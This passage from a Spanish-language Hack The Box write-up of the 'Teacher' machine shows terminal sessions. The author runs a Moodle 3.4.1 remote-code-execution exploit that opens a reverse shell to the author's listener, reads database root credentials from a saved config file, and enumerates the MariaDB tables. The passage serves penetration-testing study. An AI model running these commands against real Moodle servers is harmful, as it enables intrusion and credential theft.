<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit moodle 3.4
</span></span><span style="display:flex;"><span>------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                         |  Path
</span></span><span style="display:flex;"><span>                                                       | (/home/xbytemx/git/exploit-database//)
</span></span><span style="display:flex;"><span>------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Moodle 3.4.1 - Remote Code Execution                   | exploits/php/webapps/46551.php
</span></span><span style="display:flex;"><span>------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Guardamos el exploit y lo ejecutamos con los parámetros necesarios, no sin antes abrir un listener en nuestra máquina:</p>
<p>Para realizar la reverse shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ php 46551.php url=http://10.10.10.153/moodle/ user=Giovanni pass=Th4C00lTheacha# ip=10.10.13.42 port=3001 course=2 debug=true
</span></span></code></pre></div><p>En el listener:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ ncat -nvlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.153.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.153:60940.
</span></span><span style="display:flex;"><span>/bin/sh: 0: can&#39;t access tty; job control turned off
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></span></code></pre></div><p>Como nota que no debemos olvidar, este exploit fue gracias al siguiente <a href="https://blog.ripstech.com/2018/moodle-remote-code-execution/">artículo</a>. Básicamente evil teacher consiste en agregar una evaluación de matemáticas que incluye un payload en la formula de respuesta matemática. Cuando esta respuesta pasa por la función <code>eval()</code>, es que podemos hacer la ejecución arbitraria de código. Así que el payload es preparado para pasar los filtros y que al llegar a eval podamos ejecutar código remoto.</p>
<h1 id="from-www-data-to-">From www-data to ****</h1>
<p>Continuando como www-data:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ python -c &#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;
</span></span><span style="display:flex;"><span>www-data@teacher:/var/www/html$ cat html/moodle/config.php.save
</span></span><span style="display:flex;"><span>cat html/moodle/config.php.save
</span></span><span style="display:flex;"><span>&lt;?php  // Moodle configuration file
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>unset($CFG);
</span></span><span style="display:flex;"><span>global $CFG;
</span></span><span style="display:flex;"><span>$CFG = new stdClass();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$CFG-&gt;dbtype    = &#39;mariadb&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dblibrary = &#39;native&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dbhost    = &#39;localhost&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dbname    = &#39;moodle&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dbuser    = &#39;root&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dbpass    = &#39;Welkom1!&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;prefix    = &#39;mdl_&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;dboptions = array (
</span></span><span style="display:flex;"><span>  &#39;dbpersist&#39; =&gt; 0,
</span></span><span style="display:flex;"><span>  &#39;dbport&#39; =&gt; 3306,
</span></span><span style="display:flex;"><span>  &#39;dbsocket&#39; =&gt; &#39;&#39;,
</span></span><span style="display:flex;"><span>  &#39;dbcollation&#39; =&gt; &#39;utf8mb4_unicode_ci&#39;,
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$CFG-&gt;wwwroot   = &#39;http://10.10.10.153/moodle&#39;; // CHANGE THIS - Gi$CFG-&gt;dataroot  = &#39;/var/www/moodledata&#39;;
</span></span><span style="display:flex;"><span>$CFG-&gt;admin     = &#39;admin&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$CFG-&gt;directorypermissions = 0777;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>require_once(__DIR__ . &#39;/lib/setup.php&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// There is no php closing tag in this file,
</span></span><span style="display:flex;"><span>// it is intentional because it prevents trailing whitespace problems!
</span></span><span style="display:flex;"><span>www-data@teacher:/var/www$
</span></span></code></pre></div><p>Excelente, tenemos las credenciales de root&hellip; pero de mysql. Probemos la cuenta de Giovanni como giovanni:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@teacher:/var/www$ su - giovanni
</span></span><span style="display:flex;"><span>su - giovanni
</span></span><span style="display:flex;"><span>Password: Th4C00lTheacha#
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>su: Authentication failure
</span></span></code></pre></div><p>Parece que no son las mismas credenciales que hemos obtenido antes. Exploremos la DB para ver que mas podemos encontrar (Recordemos que para que moodle puede funcionar, debe tener una DB declarada donde almacene su información):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@teacher:/var/www$ mysql -u root -p
</span></span><span style="display:flex;"><span>mysql -u root -p
</span></span><span style="display:flex;"><span>Enter password: Welkom1!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Welcome to the MariaDB monitor.  Commands end with ; or \g.
</span></span><span style="display:flex;"><span>Your MariaDB connection id is 995
</span></span><span style="display:flex;"><span>Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MariaDB [(none)]&gt; show databases;
</span></span><span style="display:flex;"><span>show databases;
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>| Database           |
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>| information_schema |
</span></span><span style="display:flex;"><span>| moodle             |
</span></span><span style="display:flex;"><span>| mysql              |
</span></span><span style="display:flex;"><span>| performance_schema |
</span></span><span style="display:flex;"><span>| phpmyadmin         |
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>5 rows in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MariaDB [(none)]&gt; use moodle;
</span></span><span style="display:flex;"><span>use moodle;
</span></span><span style="display:flex;"><span>Reading table information for completion of table and column names
</span></span><span style="display:flex;"><span>You can turn off this feature to get a quicker startup with -A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database changed
</span></span><span style="display:flex;"><span>MariaDB [moodle]&gt; show tables;
</span></span><span style="display:flex;"><span>show tables;
</span></span><span style="display:flex;"><span>+----------------------------------+
</span></span><span style="display:flex;"><span>| Tables_in_moodle                 |
</span></span><span style="display:flex;"><span>+----------------------------------+
</span></span><span style="display:flex;"><span>| mdl_analytics_indicator_calc     |
</span></span><span style="display:flex;"><span>| mdl_analytics_models             |
</span></span><span style="display:flex;"><span>| mdl_analytics_models_log         |
</span></span><span style="display:flex;"><span>| mdl_analytics_predict_samples    |
</span></span><span style="display:flex;"><span>| mdl_analytics_prediction_actions |
</span></span><span style="display:flex;"><span>| mdl_analytics_predictions        |
</span></span><span style="display:flex;"><span>| mdl_analytics_train_samples      |
</span></span><span style="display:flex;"><span>| mdl_analytics_used_analysables   |
</span></span><span style="display:flex;"><span>| mdl_analytics_used_files         |
</span></span><span style="display:flex;"><span>| mdl_assign                       |
</span></span><span style="display:flex;"><span>| mdl_assign_grades                |
</span></span><span style="display:flex;"><span>| mdl_assign_overrides             |
</span></span><span style="display:flex;"><span>| mdl_assign_plugin_config         |
</span></span><span style="display:flex;"><span>| mdl_assign_submission            |
</span></span><span style="display:flex;"><span>| mdl_assign_user_flags            |
</span></span><span style="display:flex;"><span>| mdl_assign_user_mapping          |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_comments      |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_editpdf_annot |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_editpdf_cmnt  |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_editpdf_queue |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_editpdf_quick |
</span></span><span style="display:flex;"><span>| mdl_assignfeedback_file          |
</span></span><span style="display:flex;"><span>| mdl_assignment                   |
</span></span><span style="display:flex;"><span>| mdl_assignment_submissions       |
</span></span><span style="display:flex;"><span>| mdl_assignment_upgrade           |
</span></span><span style="display:flex;"><span>| mdl_assignsubmission_file        |
</span></span><span style="display:flex;"><span>| mdl_assignsubmission_onlinetext  |
</span></span><span style="display:flex;"><span>| mdl_auth_oauth2_linked_login     |
</span></span><span style="display:flex;"><span>| mdl_backup_controllers           |
</span></span><span style="display:flex;"><span>| mdl_backup_courses               |
</span></span><span style="display:flex;"><span>| mdl_backup_logs                  |
</span></span><span style="display:flex;"><span>| mdl_badge                        |
</span></span><span style="display:flex;"><span>| mdl_badge_backpack               |
</span></span><span style="display:flex;"><span>| mdl_badge_criteria               |
</span></span><span style="display:flex;"><span>| mdl_badge_criteria_met           |
</span></span><span style="display:flex;"><span>| mdl_badge_criteria_param         |
</span></span><span style="display:flex;"><span>| mdl_badge_external               |
</span></span><span style="display:flex;"><span>| mdl_badge_issued                 |
</span></span><span style="display:flex;"><span>| mdl_badge_manual_award           |
</span></span><span style="display:flex;"><span>| mdl_block                        |
</span></span><span style="display:flex;"><span>| mdl_block_community              |
</span></span><span style="display:flex;"><span>| mdl_block_instances              |
</span></span><span style="display:flex;"><span>| mdl_block_positions              |
</span></span><span style="display:flex;"><span>| mdl_block_recent_activity        |
</span></span><span style="display:flex;"><span>| mdl_block_rss_client             |
</span></span><span style="display:flex;"><span>| mdl_blog_association             |
</span></span><span style="display:flex;"><span>| mdl_blog_external                |
</span></span><span style="display:flex;"><span>| mdl_book                         |
</span></span><span style="display:flex;"><span>| mdl_book_chapters                |
</span></span><span style="display:flex;"><span>| mdl_cache_filters                |
</span></span><span style="display:flex;"><span>| mdl_cache_flags                  |
</span></span><span style="display:flex;"><span>| mdl_capabilities                 |
</span></span><span style="display:flex;"><span>| mdl_chat                         |
</span></span><span style="display:flex;"><span>| mdl_chat_messages                |
</span></span><span style="display:flex;"><span>| mdl_chat_messages_current        |
</span></span><span style="display:flex;"><span>| mdl_chat_users                   |
</span></span><span style="display:flex;"><span>| mdl_choice                       |
</span></span><span style="display:flex;"><span>| mdl_choice_answers               |
</span></span><span style="display:flex;"><span>| mdl_choice_options               |
</span></span><span style="display:flex;"><span>| mdl_cohort                       |
</span></span><span style="display:flex;"><span>| mdl_cohort_members               |
</span></span><span style="display:flex;"><span>| mdl_comments                     |
</span></span><span style="display:flex;"><span>| mdl_competency                   |
</span></span><span style="display:flex;"><span>| mdl_competency_coursecomp        |
</span></span><span style="display:flex;"><span>| mdl_competency_coursecompsetting |
</span></span><span style="display:flex;"><span>| mdl_competency_evidence          |
</span></span><span style="display:flex;"><span>| mdl_competency_framework         |
</span></span><span style="display:flex;"><span>| mdl_competency_modulecomp        |
</span></span><span style="display:flex;"><span>| mdl_competency_plan              |
</span></span><span style="display:flex;"><span>| mdl_competency_plancomp          |
</span></span><span style="display:flex;"><span>| mdl_competency_relatedcomp       |
</span></span><span style="display:flex;"><span>| mdl_competency_template          |
</span></span><span style="display:flex;"><span>| mdl_competency_templatecohort    |
</span></span><span style="display:flex;"><span>| mdl_competency_templatecomp      |
</span></span><span style="display:flex;"><span>| mdl_competency_usercomp          |
</span></span><span style="display:flex;"><span>| mdl_competency_usercompcourse    |
</span></span><span style="display:flex;"><span>| mdl_competency_usercompplan      |
</span></span><span style="display:flex;"><span>| mdl_competency_userevidence      |
</span></span><span style="display:flex;"><span>| mdl_competency_userevidencecomp  |
</span></span><span style="display:flex;"><span>| mdl_config                       |
</span></span><span style="display:flex;"><span>| mdl_config_log                   |
</span></span><span style="display:flex;"><span>| mdl_config_plugins               |
</span></span><span style="display:flex;"><span>| mdl_context                      |
</span></span><span style="display:flex;"><span>| mdl_context_temp                 |
</span></span><span style="display:flex;"><span>| mdl_course                       |
</span></span><span style="display:flex;"><span>| mdl_course_categories            |
</span></span><span style="display:flex;"><span>| mdl_course_completion_aggr_methd |
</span></span><span style="display:flex;"><span>| mdl_course_completion_crit_compl |
</span></span><span style="display:flex;"><span>| mdl_course_completion_criteria   |
</span></span><span style="display:flex;"><span>| mdl_course_completion_defaults   |
</span></span><span style="display:flex;"><span>| mdl_course_completions           |
</span></span><span style="display:flex;"><span>| mdl_course_format_options        |
</span></span><span style="display:flex;"><span>| mdl_course_modules               |
</span></span><span style="display:flex;"><span>| mdl_course_modules_completion    |
</span></span><span style="display:flex;"><span>| mdl_course_published             |
</span></span><span style="display:flex;"><span>| mdl_course_request               |
</span></span><span style="display:flex;"><span>| mdl_course_sections              |
</span></span><span style="display:flex;"><span>| mdl_data                         |
</span></span><span style="display:flex;"><span>| mdl_data_content                 |
</span></span><span style="display:flex;"><span>| mdl_data_fields                  |
</span></span><span style="display:flex;"><span>| mdl_data_records                 |
</span></span><span style="display:flex;"><span>| mdl_editor_atto_autosave         |
</span></span><span style="display:flex;"><span>| mdl_enrol                        |
</span></span><span style="display:flex;"><span>| mdl_enrol_flatfile               |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_consumer      |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_context       |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_nonce         |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_resource_link |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_share_key     |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_tool_proxy    |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_lti2_user_result   |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_tool_consumer_map  |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_tools              |
</span></span><span style="display:flex;"><span>| mdl_enrol_lti_users              |
</span></span><span style="display:flex;"><span>| mdl_enrol_paypal                 |
</span></span><span style="display:flex;"><span>| mdl_event                        |
</span></span><span style="display:flex;"><span>| mdl_event_subscriptions          |
</span></span><span style="display:flex;"><span>| mdl_events_handlers              |
</span></span><span style="display:flex;"><span>| mdl_events_queue                 |
</span></span><span style="display:flex;"><span>| mdl_events_queue_handlers        |
</span></span><span style="display:flex;"><span>| mdl_external_functions           |
</span></span><span style="display:flex;"><span>| mdl_external_services            |
</span></span><span style="display:flex;"><span>| mdl_external_services_functions  |
</span></span><span style="display:flex;"><span>| mdl_external_services_users      |
</span></span><span style="display:flex;"><span>| mdl_external_tokens              |
</span></span><span style="display:flex;"><span>| mdl_feedback                     |
</span></span><span style="display:flex;"><span>| mdl_feedback_completed           |
</span></span><span style="display:flex;"><span>| mdl_feedback_completedtmp        |
</span></span><span style="display:flex;"><span>| mdl_feedback_item                |
</span></span><span style="display:flex;"><span>| mdl_feedback_sitecourse_map      |
</span></span><span style="display:flex;"><span>| mdl_feedback_template            |
</span></span><span style="display:flex;"><span>| mdl_feedback_value               |
</span></span><span style="display:flex;"><span>| mdl_feedback_valuetmp            |
</span></span><span style="display:flex;"><span>| mdl_file_conversion              |
</span></span><span style="display:flex;"><span>| mdl_files                        |
</span></span><span style="display:flex;"><span>| mdl_files_reference              |
</span></span><span style="display:flex;"><span>| mdl_filter_active                |
</span></span><span style="display:flex;"><span>| mdl_filter_config                |
</span></span><span style="display:flex;"><span>| mdl_folder                       |
</span></span><span style="display:flex;"><span>| mdl_forum                        |
</span></span><span style="display:flex;"><span>| mdl_forum_digests                |
</span></span><span style="display:flex;"><span>| mdl_forum_discussion_subs        |
</span></span><span style="display:flex;"><span>| mdl_forum_discussions            |
</span></span><span style="display:flex;"><span>| mdl_forum_posts                  |
</span></span><span style="display:flex;"><span>| mdl_forum_queue                  |
</span></span><span style="display:flex;"><span>| mdl_forum_read                   |
</span></span><span style="display:flex;"><span>| mdl_forum_subscriptions          |
</span></span><span style="display:flex;"><span>| mdl_forum_track_prefs            |
</span></span><span style="display:flex;"><span>| mdl_glossary                     |
</span></span><span style="display:flex;"><span>| mdl_glossary_alias               |
</span></span><span style="display:flex;"><span>| mdl_glossary_categories          |
</span></span><span style="display:flex;"><span>| mdl_glossary_entries             |
</span></span><span style="display:flex;"><span>| mdl_glossary_entries_categories  |
</span></span><span style="display:flex;"><span>| mdl_glossary_formats             |
</span></span><span style="display:flex;"><span>| mdl_grade_categories             |
</span></span><span style="display:flex;"><span>| mdl_grade_categories_history     |
</span></span><span style="display:flex;"><span>| mdl_grade_grades                 |
</span></span><span style="display:flex;"><span>| mdl_grade_grades_history         |
</span></span><span style="display:flex;"><span>| mdl_grade_import_newitem         |
</span></span><span style="display:flex;"><span>| mdl_grade_import_values          |
</span></span><span style="display:flex;"><span>| mdl_grade_items                  |
</span></span><span style="display:flex;"><span>| mdl_grade_items_history          |
</span></span><span style="display:flex;"><span>| mdl_grade_letters                |
</span></span><span style="display:flex;"><span>| mdl_grade_outcomes               |
</span></span><span style="display:flex;"><span>| mdl_grade_outcomes_courses       |
</span></span><span style="display:flex;"><span>| mdl_grade_outcomes_history       |
</span></span><span style="display:flex;"><span>| mdl_grade_settings               |
</span></span><span style="display:flex;"><span>| mdl_grading_areas                |
</span></span><span style="display:flex;"><span>| mdl_grading_definitions          |
</span></span><span style="display:flex;"><span>| mdl_grading_instances            |
</span></span><span style="display:flex;"><span>| mdl_gradingform_guide_comments   |
</span></span><span style="display:flex;"><span>| mdl_gradingform_guide_criteria   |
</span></span><span style="display:flex;"><span>| mdl_gradingform_guide_fillings   |
</span></span><span style="display:flex;"><span>| mdl_gradingform_rubric_criteria  |
</span></span><span style="display:flex;"><span>| mdl_gradingform_rubric_fillings  |
</span></span><span style="display:flex;"><span>| mdl_gradingform_rubric_levels    |
</span></span><span style="display:flex;"><span>| mdl_groupings                    |
</span></span><span style="display:flex;"><span>| mdl_groupings_groups             |
</span></span><span style="display:flex;"><span>| mdl_groups                       |
</span></span><span style="display:flex;"><span>| mdl_groups_members               |
</span></span><span style="display:flex;"><span>| mdl_imscp                        |
</span></span><span style="display:flex;"><span>| mdl_label                        |
</span></span><span style="display:flex;"><span>| mdl_lesson                       |
</span></span><span style="display:flex;"><span>| mdl_lesson_answers               |
</span></span><span style="display:flex;"><span>| mdl_lesson_attempts              |
</span></span><span style="display:flex;"><span>| mdl_lesson_branch                |
</span></span><span style="display:flex;"><span>| mdl_lesson_grades                |
</span></span><span style="display:flex;"><span>| mdl_lesson_overrides             |
</span></span><span style="display:flex;"><span>| mdl_lesson_pages                 |
</span></span><span style="display:flex;"><span>| mdl_lesson_timer                 |
</span></span><span style="display:flex;"><span>| mdl_license                      |
</span></span><span style="display:flex;"><span>| mdl_lock_db                      |
</span></span><span style="display:flex;"><span>| mdl_log                          |
</span></span><span style="display:flex;"><span>| mdl_log_display                  |
</span></span><span style="display:flex;"><span>| mdl_log_queries                  |
</span></span><span style="display:flex;"><span>| mdl_logstore_standard_log        |
</span></span><span style="display:flex;"><span>| mdl_lti                          |
</span></span><span style="display:flex;"><span>| mdl_lti_submission               |
</span></span><span style="display:flex;"><span>| mdl_lti_tool_proxies             |
</span></span><span style="display:flex;"><span>| mdl_lti_tool_settings            |
</span></span><span style="display:flex;"><span>| mdl_lti_types                    |
</span></span><span style="display:flex;"><span>| mdl_lti_types_config             |
</span></span><span style="display:flex;"><span>| mdl_message                      |
</span></span><span style="display:flex;"><span>| mdl_message_airnotifier_devices  |
</span></span><span style="display:flex;"><span>| mdl_message_contacts             |
</span></span><span style="display:flex;"><span>| mdl_message_popup                |
</span></span><span style="display:flex;"><span>| mdl_message_processors           |
</span></span><span style="display:flex;"><span>| mdl_message_providers            |
</span></span><span style="display:flex;"><span>| mdl_message_read                 |
</span></span><span style="display:flex;"><span>| mdl_message_working              |
</span></span><span style="display:flex;"><span>| mdl_messageinbound_datakeys      |
</span></span><span style="display:flex;"><span>| mdl_messageinbound_handlers      |
</span></span><span style="display:flex;"><span>| mdl_messageinbound_messagelist   |
</span></span><span style="display:flex;"><span>| mdl_mnet_application             |
</span></span><span style="display:flex;"><span>| mdl_mnet_host                    |
</span></span><span style="display:flex;"><span>| mdl_mnet_host2service            |
</span></span><span style="display:flex;"><span>| mdl_mnet_log                     |
</span></span><span style="display:flex;"><span>| mdl_mnet_remote_rpc              |
</span></span><span style="display:flex;"><span>| mdl_mnet_remote_service2rpc      |
</span></span><span style="display:flex;"><span>| mdl_mnet_rpc                     |
</span></span><span style="display:flex;"><span>| mdl_mnet_service                 |
</span></span><span style="display:flex;"><span>| mdl_mnet_service2rpc             |
</span></span><span style="display:flex;"><span>| mdl_mnet_session                 |
</span></span><span style="display:flex;"><span>| mdl_mnet_sso_access_control      |
</span></span><span style="display:flex;"><span>| mdl_mnetservice_enrol_courses    |
</span></span><span style="display:flex;"><span>| mdl_mnetservice_enrol_enrolments |
</span></span><span style="display:flex;"><span>| mdl_modules                      |
</span></span><span style="display:flex;"><span>| mdl_my_pages                     |
</span></span><span style="display:flex;"><span>| mdl_oauth2_endpoint              |
</span></span><span style="display:flex;"><span>| mdl_oauth2_issuer                |
</span></span><span style="display:flex;"><span>| mdl_oauth2_system_account        |
</span></span><span style="display:flex;"><span>| mdl_oauth2_user_field_mapping    |
</span></span><span style="display:flex;"><span>| mdl_page                         |
</span></span><span style="display:flex;"><span>| mdl_portfolio_instance           |
</span></span><span style="display:flex;"><span>| mdl_portfolio_instance_config    |
</span></span><span style="display:flex;"><span>| mdl_portfolio_instance_user      |
</span></span><span style="display:flex;"><span>| mdl_portfolio_log                |
</span></span><span style="display:flex;"><span>| mdl_portfolio_mahara_queue       |
</span></span><span style="display:flex;"><span>| mdl_portfolio_tempdata           |
</span></span><span style="display:flex;"><span>| mdl_post                         |
</span></span><span style="display:flex;"><span>| mdl_profiling                    |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddimageortext          |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddimageortext_drags    |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddimageortext_drops    |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddmarker               |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddmarker_drags         |
</span></span><span style="display:flex;"><span>| mdl_qtype_ddmarker_drops         |
</span></span><span style="display:flex;"><span>| mdl_qtype_essay_options          |
</span></span><span style="display:flex;"><span>| mdl_qtype_match_options          |
</span></span><span style="display:flex;"><span>| mdl_qtype_match_subquestions     |
</span></span><span style="display:flex;"><span>| mdl_qtype_multichoice_options    |
</span></span><span style="display:flex;"><span>| mdl_qtype_randomsamatch_options  |
</span></span><span style="display:flex;"><span>| mdl_qtype_shortanswer_options    |
</span></span><span style="display:flex;"><span>| mdl_question                     |
</span></span><span style="display:flex;"><span>| mdl_question_answers             |
</span></span><span style="display:flex;"><span>| mdl_question_attempt_step_data   |
</span></span><span style="display:flex;"><span>| mdl_question_attempt_steps       |
</span></span><span style="display:flex;"><span>| mdl_question_attempts            |
</span></span><span style="display:flex;"><span>| mdl_question_calculated          |
</span></span><span style="display:flex;"><span>| mdl_question_calculated_options  |
</span></span><span style="display:flex;"><span>| mdl_question_categories          |
</span></span><span style="display:flex;"><span>| mdl_question_dataset_definitions |
</span></span><span style="display:flex;"><span>| mdl_question_dataset_items       |
</span></span><span style="display:flex;"><span>| mdl_question_datasets            |
</span></span><span style="display:flex;"><span>| mdl_question_ddwtos              |
</span></span><span style="display:flex;"><span>| mdl_question_gapselect           |
</span></span><span style="display:flex;"><span>| mdl_question_hints               |
</span></span><span style="display:flex;"><span>| mdl_question_multianswer         |
</span></span><span style="display:flex;"><span>| mdl_question_numerical           |
</span></span><span style="display:flex;"><span>| mdl_question_numerical_options   |
</span></span><span style="display:flex;"><span>| mdl_question_numerical_units     |
</span></span><span style="display:flex;"><span>| mdl_question_response_analysis   |
</span></span><span style="display:flex;"><span>| mdl_question_response_count      |
</span></span><span style="display:flex;"><span>| mdl_question_statistics          |
</span></span><span style="display:flex;"><span>| mdl_question_truefalse           |
</span></span><span style="display:flex;"><span>| mdl_question_usages              |
</span></span><span style="display:flex;"><span>| mdl_quiz                         |
</span></span><span style="display:flex;"><span>| mdl_quiz_attempts                |
</span></span><span style="display:flex;"><span>| mdl_quiz_feedback                |
</span></span><span style="display:flex;"><span>| mdl_quiz_grades                  |
</span></span><span style="display:flex;"><span>| mdl_quiz_overrides               |
</span></span><span style="display:flex;"><span>| mdl_quiz_overview_regrades       |
</span></span><span style="display:flex;"><span>| mdl_quiz_reports                 |
</span></span><span style="display:flex;"><span>| mdl_quiz_sections                |
</span></span><span style="display:flex;"><span>| mdl_quiz_slots                   |
</span></span><span style="display:flex;"><span>| mdl_quiz_statistics              |
</span></span><span style="display:flex;"><span>| mdl_rating                       |
</span></span><span style="display:flex;"><span>| mdl_registration_hubs            |
</span></span><span style="display:flex;"><span>| mdl_repository                   |
</span></span><span style="display:flex;"><span>| mdl_repository_instance_config   |
</span></span><span style="display:flex;"><span>| mdl_repository_instances         |
</span></span><span style="display:flex;"><span>| mdl_repository_onedrive_access   |
</span></span><span style="display:flex;"><span>| mdl_resource                     |
</span></span><span style="display:flex;"><span>| mdl_resource_old                 |
</span></span><span style="display:flex;"><span>| mdl_role                         |
</span></span><span style="display:flex;"><span>| mdl_role_allow_assign            |
</span></span><span style="display:flex;"><span>| mdl_role_allow_override          |
</span></span><span style="display:flex;"><span>| mdl_role_allow_switch            |
</span></span><span style="display:flex;"><span>| mdl_role_assignments             |
</span></span><span style="display:flex;"><span>| mdl_role_capabilities            |
</span></span><span style="display:flex;"><span>| mdl_role_context_levels          |
</span></span><span style="display:flex;"><span>| mdl_role_names                   |
</span></span><span style="display:flex;"><span>| mdl_role_sortorder               |
</span></span><span style="display:flex;"><span>| mdl_scale                        |
</span></span><span style="display:flex;"><span>| mdl_scale_history                |
</span></span><span style="display:flex;"><span>| mdl_scorm                        |
</span></span><span style="display:flex;"><span>| mdl_scorm_aicc_session           |
</span></span><span style="display:flex;"><span>| mdl_scorm_scoes                  |
</span></span><span style="display:flex;"><span>| mdl_scorm_scoes_data             |
</span></span><span style="display:flex;"><span>| mdl_scorm_scoes_track            |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_mapinfo            |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_objective          |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_rolluprule         |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_rolluprulecond     |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_rulecond           |
</span></span><span style="display:flex;"><span>| mdl_scorm_seq_ruleconds          |
</span></span><span style="display:flex;"><span>| mdl_search_index_requests        |
</span></span><span style="display:flex;"><span>| mdl_sessions                     |
</span></span><span style="display:flex;"><span>| mdl_stats_daily                  |
</span></span><span style="display:flex;"><span>| mdl_stats_monthly                |
</span></span><span style="display:flex;"><span>| mdl_stats_user_daily             |
</span></span><span style="display:flex;"><span>| mdl_stats_user_monthly           |
</span></span><span style="display:flex;"><span>| mdl_stats_user_weekly            |
</span></span><span style="display:flex;"><span>| mdl_stats_weekly                 |
</span></span><span style="display:flex;"><span>| mdl_survey                       |
</span></span><span style="display:flex;"><span>| mdl_survey_analysis              |
</span></span><span style="display:flex;"><span>| mdl_survey_answers               |
</span></span><span style="display:flex;"><span>| mdl_survey_questions             |
</span></span><span style="display:flex;"><span>| mdl_tag                          |
</span></span><span style="display:flex;"><span>| mdl_tag_area                     |
</span></span><span style="display:flex;"><span>| mdl_tag_coll                     |
</span></span><span style="display:flex;"><span>| mdl_tag_correlation              |
</span></span><span style="display:flex;"><span>| mdl_tag_instance                 |
</span></span><span style="display:flex;"><span>| mdl_task_adhoc                   |
</span></span><span style="display:flex;"><span>| mdl_task_scheduled               |
</span></span><span style="display:flex;"><span>| mdl_tool_cohortroles             |
</span></span><span style="display:flex;"><span>| mdl_tool_customlang              |
</span></span><span style="display:flex;"><span>| mdl_tool_customlang_components   |
</span></span><span style="display:flex;"><span>| mdl_tool_monitor_events          |
</span></span><span style="display:flex;"><span>| mdl_tool_monitor_history         |
